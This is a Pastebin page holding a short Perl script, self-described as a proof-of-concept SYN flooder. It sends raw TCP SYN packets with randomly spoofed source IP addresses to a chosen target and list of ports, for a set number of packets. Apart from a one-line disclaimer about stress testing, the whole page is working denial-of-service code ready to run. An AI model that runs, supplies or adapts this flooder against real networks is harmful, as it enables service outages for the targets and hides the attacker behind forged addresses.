Advertisement
Guest User

h

a guest
Jan 27th, 2015
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. ####
  3. # this is a proof of concept syn flooder written in Perl.
  4. # it's pretty straight forward. sends packets with the syn flag
  5. # enabled, causing half open connections sent from random spoofed IP's.
  6. #
  7. # one addition is the ability to specify a list of ports, rather than just
  8. # targeting a single port.
  9. #
  10. # don't use this for any malicious purposes.. it's strictly for stress
  11. # testing routers/networks.
  12. #
  13. # - nwo 10/17/2007
  14. ####
  15.  
  16. require 'getopts.pl';
  17.  
  18. ### need to utilize raw sockets.
  19. use Net::RawIP;
  20. Getopts('t:p:n:');
  21.  
  22.  
  23. ### function to create random IP's.
  24. sub randip () {
  25. $ip = join(".", map int rand 256, 1 .. 4);
  26. return("$ip");
  27. }
  28.  
  29.  
  30. ### set up the socket.
  31. $syn = new Net::RawIP;
  32.  
  33. die "Usage: $0 -t (target) -p (port) -n (number of packets)\n"
  34. unless ($opt_t && $opt_p && $opt_n);
  35. ### allow the user to specify a list of comma seperated ports via the command line.
  36. @ports = split(/\,/, $opt_p);
  37. $list = @ports;
  38.  
  39. ### super awesome output.
  40. print "Hitting $opt_t on port(s) @ports with $opt_n packets....\n";
  41.  
  42. ### start the loop
  43. for($i = 1;$i < $opt_n;$i++) {
  44. ### randomly select a port out of the @ports array
  45. $nlist = int rand($list);
  46. $dport = $ports[$nlist];
  47.  
  48. ### set up the packet..
  49. $syn->set({
  50. ip => {
  51. daddr => $opt_t,
  52. saddr => &randip,
  53. },
  54.  
  55. ### specify the destination port and source port..
  56. ### make sure the syn flag is enabled.
  57. tcp => {
  58. dest => $dport,
  59. source => $dport,
  60. ack => 0,
  61. urg => 0,
  62. rst => 0,
  63. fin => 0,
  64. psh => 0,
  65. syn => 1
  66. }
  67. });
  68. ### send the packet! yay!
  69. $syn->send;
  70. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement